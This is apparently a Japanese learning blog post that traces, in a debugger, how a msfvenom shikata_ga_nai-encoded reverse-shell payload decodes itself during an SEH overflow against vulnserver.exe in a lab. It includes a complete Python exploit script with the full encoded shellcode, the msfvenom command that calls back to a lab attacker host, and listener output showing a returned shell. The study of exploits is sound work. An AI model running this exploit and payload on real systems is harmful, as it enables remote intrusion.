msfvenomで作成したpayloadのデコード動作を追う
概要
HackTheBoxやVulnhubに取り組む際にmsfvenom
コマンドでReverseShellPayloadを作成してExploitを実行することは多いが、msfvenom
によって作成されるペイロードはshikataga_nai
というエンコーダーによってエンコードされている。
今まではあんまりそのことを深く考えなくても動けばいいや的に考えていたが、さすがにそうもいかなくなってきた(自分が満足できなくなってきた)ので改めてエンコード・デコードの詳細を理解したいと思います。
encodeされたPayloadのdecodeの仕組み
まず、エンコードされたペイロードにはそれをデコードして元の意味のあるPayloadに直す部分が付いている。
decodeする前 | decodeする処理 | <- ここはdecodeするための命令が書かれている。 | ~ | ReverseShellとは直接は関係ない | decodeする処理 | | 意味不明な命令 | <- ここから下はencodeされており、 | 意味不明な命令 | 今のままでは意味のない命令が書き込まれている | 意味不明な命令 | | 意味不明な命令 | | 意味不明な命令 | decodeした後 | decodeする処理 | | ~ | | decodeする処理 | | ReverseShellの動作 | <- 意味不明な命令を"xor"などでdecodeすることで | ReverseShellの動作 | 意味のある命令に! | ReverseShellの動作 | decodeした後はこの命令を実行していく! | ReverseShellの動作 |
msfvenomでReverseShellPayloadを作成すると基本的に上のようなエンコードされたPayloadが作成される。(defaultでshikata_ga_naiを使用する)
ここで、
「これEncodeする意味あんの?直接ReverseShellのshellcodeぶち込めばいいやん」
という疑問がわいてくるが、これでは上手く動作しないことが多い。
例えば、Buffer Overflowでは何らかの入力に対して過剰な量を送り付けてスタックにPayloadをのせるが、大抵"\x00"(NULL bytes)を文字列の入力の終端としてとらえるため、この"\x00"以降の入力がスタックに載せられなくなってしまう。
つまり、Payloadに"\x00"が存在すると、完全なPayloadをスタックに積めなくなってしまう。これは"\x0a","\x0d"などの改行文字にも当てはまる(場合がある)。
よって、そのような"含まれてはいけない文字"を特定して、その文字抜きでPayloadを構成する必要がある。
事前準備
今回は、SEH overflowの脆弱性のあるプログラムを悪用する場合を考える。(今回の焦点はSEH overflowではないので知らなくても全然大丈夫です)
対象はWindows7(32bit)で動作しているvulnserver.exe
payloadにはmsfvenomで作成したものを使う。以下、使用するexploit code
import sys import socket host = "192.168.56.6" port = 9999 badheader = "GMON /" baddata = b"\x90" * 2773 #start payload baddata += "\x90"*16 # sudo msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.56.5 -b "\x00\x0a\x0d" -f py --var-name baddata baddata += b"\xd9\xc1\xd9\x74\x24\xf4\xbe\xcf\x6f\x35\xbb\x58" baddata += b"\x31\xc9\xb1\x52\x31\x70\x17\x03\x70\x17\x83\x0f" baddata += b"\x6b\xd7\x4e\x73\x9c\x95\xb1\x8b\x5d\xfa\x38\x6e" baddata += b"\x6c\x3a\x5e\xfb\xdf\x8a\x14\xa9\xd3\x61\x78\x59" baddata += b"\x67\x07\x55\x6e\xc0\xa2\x83\x41\xd1\x9f\xf0\xc0" baddata += b"\x51\xe2\x24\x22\x6b\x2d\x39\x23\xac\x50\xb0\x71" baddata += b"\x65\x1e\x67\x65\x02\x6a\xb4\x0e\x58\x7a\xbc\xf3" baddata += b"\x29\x7d\xed\xa2\x22\x24\x2d\x45\xe6\x5c\x64\x5d" baddata += b"\xeb\x59\x3e\xd6\xdf\x16\xc1\x3e\x2e\xd6\x6e\x7f" baddata += b"\x9e\x25\x6e\xb8\x19\xd6\x05\xb0\x59\x6b\x1e\x07" baddata += b"\x23\xb7\xab\x93\x83\x3c\x0b\x7f\x35\x90\xca\xf4" baddata += b"\x39\x5d\x98\x52\x5e\x60\x4d\xe9\x5a\xe9\x70\x3d" baddata += b"\xeb\xa9\x56\x99\xb7\x6a\xf6\xb8\x1d\xdc\x07\xda" baddata += b"\xfd\x81\xad\x91\x10\xd5\xdf\xf8\x7c\x1a\xd2\x02" baddata += b"\x7d\x34\x65\x71\x4f\x9b\xdd\x1d\xe3\x54\xf8\xda" baddata += b"\x04\x4f\xbc\x74\xfb\x70\xbd\x5d\x38\x24\xed\xf5" baddata += b"\xe9\x45\x66\x05\x15\x90\x29\x55\xb9\x4b\x8a\x05" baddata += b"\x79\x3c\x62\x4f\x76\x63\x92\x70\x5c\x0c\x39\x8b" baddata += b"\x37\xf3\x16\xab\xc2\x9b\x64\xcb\xdd\x07\xe0\x2d" baddata += b"\xb7\xa7\xa4\xe6\x20\x51\xed\x7c\xd0\x9e\x3b\xf9" baddata += b"\xd2\x15\xc8\xfe\x9d\xdd\xa5\xec\x4a\x2e\xf0\x4e" baddata += b"\xdc\x31\x2e\xe6\x82\xa0\xb5\xf6\xcd\xd8\x61\xa1" baddata += b"\x9a\x2f\x78\x27\x37\x09\xd2\x55\xca\xcf\x1d\xdd" baddata += b"\x11\x2c\xa3\xdc\xd4\x08\x87\xce\x20\x90\x83\xba" baddata += b"\xfc\xc7\x5d\x14\xbb\xb1\x2f\xce\x15\x6d\xe6\x86" baddata += b"\xe0\x5d\x39\xd0\xec\x8b\xcf\x3c\x5c\x62\x96\x43" baddata += b"\x51\xe2\x1e\x3c\x8f\x92\xe1\x97\x0b\xa2\xab\xb5" baddata += b"\x3a\x2b\x72\x2c\x7f\x36\x85\x9b\xbc\x4f\x06\x29" baddata += b"\x3d\xb4\x16\x58\x38\xf0\x90\xb1\x30\x69\x75\xb5" baddata += b"\xe7\x8a\x5c" baddata += "\x90"*(3518 - len(baddata)) baddata += "\xeb\x0f\x90\x90" baddata += "\xb4\x10\x50\x62" baddata += "\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1\xe8\xf2\xff\xff\xff" baddata += "D"*(4000-len(baddata)) print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(badheader + baddata) s.close()
Payload実行直前
以下のようになんやかんやして自分の用意したReverseShellPayloadに実行位置を制御できたとする。以下では、0x0171fceb
からPayloadが始まる。
以下ではこの時のレジスタの状況である。
ここで重要なのはesp
である。ここがeipと同じ0x0171fceb
(またはその近く)を指している場合、あとで面倒なことになる。
Decodeするとこ
ここで、Decodeする処理の部分は以下である。
FLD ST(1) FPU命令。デコード命令のアドレスを取得する際に必要。 FSTENV (28-BYTE) PTR SS:[ESP-C] [esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアドレスを含む28bytes分を書き込む。 MOV ESI,BB356FCF ESIを"xor"する際の片方として使う。 POP EAX decode処理の先頭を指すアドレスをeaxに代入する。 XOR ECX,ECX ECX(カウンタ)を初期化。このあとのループ処理の時に使う。 MOV CL,52 ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループする。 XOR DWORD PTR DS:[EAX+17],ESI [eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"した値を書き込む! ADD ESI,DWORD PTR DS:[EAX+17] ESIにこの結果を保存する。 ADD EAX,4 (元OR DWORD PTR DS:[EDI]6B) eax+4しておくことで、次の[EAX+17]を"xor"で上書きする際に、次の4bytesにずらす LOOPD SHORT 0x71FCFB (元XLAT BYTE PTR DS:[EBX+AL]) 以降はECXが0になるまでループを繰り返す。
FLD ST(1) 実行後
FPU命令。デコード命令のアドレスを取得する際に必要。
この時のレジスタは以下。
この時のスタックの様子は以下。
FSTENV (28-BYTE) PTR SS:[ESP-C] 実行後
[esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアドレスを含む28bytes分を書き込む。
この命令を機能させるための要件は、少なくとも1つのFPU命令がこの命令の前に実行されることである。
ここで、espの指すアドレスに0171FCEB
が代入されている。
これは、一つ前のFLD ST(1)
のアドレスであり、デコード処理部分の基準となるアドレスである。
また、espから16bytes分が"0000"や"FFFF"で上書きされていることに注意したい。ここでは、[esp-0xc]に28bytes書き込むので、残りの16bytes(28-0xc)が書き込まれている。
もしこの時、ESPがPayloadの先頭を指している場合は、用意したPayloadが"0000"や"FFFF"で上書きされてしまうため、エラーとなる。
こういう状況は、SEH overflowじゃなくてバニラBOFの場合(EIPをjmp espのアドレスに書き換えるやつ)に起きる。
そのため、この場合は必ず"\x90"*16
のnopスレッドが必要となる。
これはなぜ必要なのかわかりにくく忘れがちであるが、必須である。
例えば、今もしespが0x0171fceb
(Payloadの先頭)を指しているとするなら(実際は違うが)、
------------------------------------------------------- FSTENV (28-BYTE) PTR SS:[ESP-C] 実行前 D9C1 FLD ST(1) D97424F4 FSTENV (28-BYTE) PTR SS:[ESP-C] <- EIP BECF6F35BB MOV ESI,BB356FCF 58 POP EAX 31C9 XOR ECX,ECX B152 MOV CL,52 317017 XOR DWORD PTR DS:[EAX+17],ESI ----------------------------------------------------- FSTENV (28-BYTE) PTR SS:[ESP-C] 実行後 0000 FLD ST(1) 00000000 FSTENV (28-BYTE) PTR SS:[ESP-C] 0000000000 MOV ESI,BB356FCF <- EIP 上書きされたせいで意味不明な命令となった! 00 POP EAX プログラムは落ちる! FFFF XOR ECX,ECX 0000 MOV CL,52 <- ここまで(16bytes分)上書きされてしまう! 317017 XOR DWORD PTR DS:[EAX+17],ESI なお、必ず上のようなdecode処理となっているわけではなく多少の違いはあるため、16bytesでなくても、8bytesでもうまく行く場合もある。 今回の場合は最悪14bytes(10bytesか?どっちだ?)のnopの確保で何とかなりそう
このタイプのnopが必ず必要となるexploitの例として以下がある。どれも必ずNOPがshellcode直前に入っていることが確認できる。
https://qiita.com/v_avenger/items/fef9fa1eb92b4cf7a332
https://qiita.com/v_avenger/items/0af8602e4572889f9184
https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/buffer-overflow
参考
exploit - Why shell code only with nop slide working for me? - Reverse Engineering Stack Exchange
MOV ESI,BB356FCF 実行後
ESIを"xor"する際の片方として使う。ESIに代入される値と意味不明な命令の"xor"を取ると、意味のある命令となるようになっている。
この"BB356FCF"と"意味不明な命令"のペアは毎回msfvenomを呼び出すたびに変化する。また、どのレジスタを"xor"する際に使うかも毎回変わる。これがmsfvenomでPayloadを作るたびに内容が違う理由である。(仕組み自体は毎回同じ)
ESIに”BB356FCF”が書き込まれた。
POP EAX 実行後
decode処理の先頭を指すアドレスをeaxに代入する。
スタック上のdecode処理の先頭を指すアドレスがeaxに代入された。
espは4バイト下に移動。
XOR ECX,ECX 実行後
ECX(カウンタ)を初期化。このあとのループ処理の時に使う。
ECX(カウンタ)を初期化。
MOV CL,52 実行後
ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループする。"4*0x52"バイトをdecodeするということ。
rax = 8bytes eax = 4bytes ax = 下位2bytes al = 下位1bytes ah = 下位2bytesのうちの上の1bytes(alの片方)
ECXの下位1バイトに"0x52"を代入。
XOR DWORD PTR DS:[EAX+17],ESI 実行後
[eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"した値を書き込む!
OR
命令の3bytes(317017)がADD EAX,4
命令に変わっている!
XLAT
命令の1byte(D7)がLOOPD SHORT
命令に変わっている!
loopd
命令はECXカウンタが0になるまでループを繰り返す。ここでは、0x52回ループして、4bytesずつデコードしていく。
ADD ESI,DWORD PTR DS:[EAX+17] 実行後
ESIにこの結果を保存する。そして、次の4bytesの"意味不明な命令"と"xor"することで、"意味のある命令"にデコードする。
ESIにこの結果を保存する。
ADD EAX,4 実行後
eax+4しておくことで、次の[EAX+17]を"xor"で上書きする際に、次の4bytesにずらす
encoderによっては、ADD EAX,4
じゃなくてSUB EAX,-4
(マイナスに注意)が使われたりもする。
LOOPD SHORT 0x71FCFB 実行後
以降はECXが0になるまでループを繰り返す。
0x52回のループ後(完全にdecode後)
完全にデコードしたとき、以下のようになった。
見ての通り、元の意味不明だった命令が、ReverseShellの命令に置き換わっている。
デコード後はこれらの命令を実行して、ReverseShellを呼び出すことになる。
ReverseShellを実行するとこ
ここら辺はあんまりよくわかっていないが、大体以下の挙動をするっぽい。何か重要な抜けてる動作があれば教えてください。
ざっくりとした動作
kernel32.LoadLibraryA
Windowsで通信する際に使用する、"ws2_32.dll"をkernel32.dllに存在するLoadLiraryA関数でLoadする。WSASocketW関数を実行
LoadしたDLL内の関数を実行して通信する。この時点で、以下のように攻撃者に接続が返る。
root@kali:~/$ nc -lvp 4444 listening on [any] 4444 ... 192.168.56.6: inverse host lookup failed: Unknown host connect to [192.168.56.5] from (UNKNOWN) [192.168.56.6] 49160
kernel32.CreateProcessA
子プロセスを作成するkernel32.dllの関数を呼びだす。
ここでは、"cmd.exe"を子プロセスとして呼びだす。
これを呼び出すことで、以下のように攻撃者にcmdが返る。
root@kali:~/$ nc -lvp 4444 listening on [any] 4444 ... 192.168.56.6: inverse host lookup failed: Unknown host connect to [192.168.56.5] from (UNKNOWN) [192.168.56.6] 49160 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\IEUser\Downloads\vulnserver>
kernel32.WaitForSingleObject
この関数で攻撃者の入力を待機する。ReverseShellPayloadはこの関数の実行で終わる。(Debuggerで[Running]となる)
まとめ
今回はSEHベースのBoFを題材にデコードする処理を追ってみました。
こうして何をするのかを追うことで、バニラBOFの場合にmsfvenom Payloadの前に適切な数の"\x90"(NOP)が必要だということを理解できたと思います。
奥が深いですね。まだまだ分からないことだらけなので勉強していきたいです!
間違ってるとことかアドバイスがあればぜひ教えてください!